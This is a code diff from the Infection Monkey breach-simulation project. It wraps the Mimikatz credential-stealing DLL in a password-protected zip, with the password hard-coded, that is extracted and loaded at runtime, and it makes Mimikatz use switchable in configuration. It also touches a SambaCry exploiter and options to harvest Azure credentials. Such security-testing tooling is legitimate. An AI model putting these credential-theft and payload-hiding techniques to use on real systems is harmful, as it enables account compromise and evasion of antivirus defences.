Merge pull request #169 from guardicore/feature/wrap-mimikatz-zip

Make mimikatz inside zip and extract only if config says so
This commit is contained in:
itaymmguardicore 2018-08-29 17:28:27 +03:00 committed by GitHub
commit bed482d70b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 116 additions and 56 deletions

View File

@ -274,13 +274,12 @@ class Configuration(object):
# system info collection
collect_system_info = True
should_use_mimikatz = True
###########################
# systeminfo config
###########################
mimikatz_dll_name = "mk.dll"
extract_azure_creds = True

View File

@ -19,7 +19,8 @@ import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from pyinstaller_utils import get_binary_file_path
__author__ = 'itay.mizeretz'
@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter):
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))

View File

@ -499,13 +499,6 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_monkey_depth():
from config import WormConfiguration
return WormConfiguration.depth

View File

@ -1,22 +1,30 @@
# -*- mode: python -*-
import os
import platform
# Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def get_mimikatz_zip_path():
if platform.architecture()[0] == "32bit":
return '.\\bin\\mk32.zip'
else:
return '.\\bin\\mk64.zip'
a = Analysis(['main.py'],
pathex=['.', '..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0:
if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
else:
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
@ -28,4 +36,5 @@ exe = EXE(pyz,
debug=False,
strip=None,
upx=True,
console=True , icon='monkey.ico')
console=True,
icon='monkey.ico')

View File

@ -0,0 +1,25 @@
import os
import sys
__author__ = 'itay.mizeretz'
def get_binaries_dir_path():
"""
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
:return: Binaries dir path
"""
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_binary_file_path(filename):
"""
Gets the path to a binary file
:param filename: name of the file
:return: Path to file
"""
return os.path.join(get_binaries_dir_path(), filename)

View File

@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
Alternatively, if you build Mimikatz, put each version in a zip file.
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
3. The zip file should be named mk32.zip/mk64.zip accordingly.
4. Zipping with 7zip has been tested. Other zipping software may not work.

View File

@ -2,6 +2,9 @@ import binascii
import ctypes
import logging
import socket
import zipfile
from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@ -13,12 +16,30 @@ class MimikatzCollector(object):
Password collection module for Windows using Mimikatz.
"""
def __init__(self):
try:
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
self._isInit = False
self._config = __import__('config').WormConfiguration
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
# Password to Mimikatz zip file
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
def __init__(self):
self._config = __import__('config').WormConfiguration
self._isInit = False
self._dll = None
self._collect = None
self._get = None
self.init_mimikatz()
def init_mimikatz(self):
try:
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
pwd=self.MIMIKATZ_ZIP_PASSWORD)
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
self._collect = collect_proto(("collect", self._dll))

View File

@ -15,6 +15,7 @@ class WindowsInfoCollector(InfoCollector):
def __init__(self):
super(WindowsInfoCollector, self).__init__()
self._config = __import__('config').WormConfiguration
def get_info(self):
"""
@ -28,7 +29,13 @@ class WindowsInfoCollector(InfoCollector):
self.get_process_list()
self.get_network_info()
self.get_azure_info()
mimikatz_collector = MimikatzCollector()
mimikatz_info = mimikatz_collector.get_logon_info()
self.info["credentials"].update(mimikatz_info)
self._get_mimikatz_info()
return self.info
def _get_mimikatz_info(self):
if self._config.should_use_mimikatz:
LOG.info("Using mimikatz")
self.info["credentials"].update(MimikatzCollector().get_logon_info())
else:
LOG.info("Not using mimikatz")

View File

@ -29,3 +29,4 @@ def is_64bit_python():
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -286,6 +286,31 @@ SCHEMA = {
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
@ -346,12 +371,6 @@ SCHEMA = {
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
@ -543,26 +562,6 @@ SCHEMA = {
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
},
"systemInfo": {
"title": "System collection",
"type": "object",
"properties": {
"mimikatz_dll_name": {
"title": "Mimikatz DLL name",
"type": "string",
"default": "mk.dll",
"description":
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
},
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
}
}
}
}
},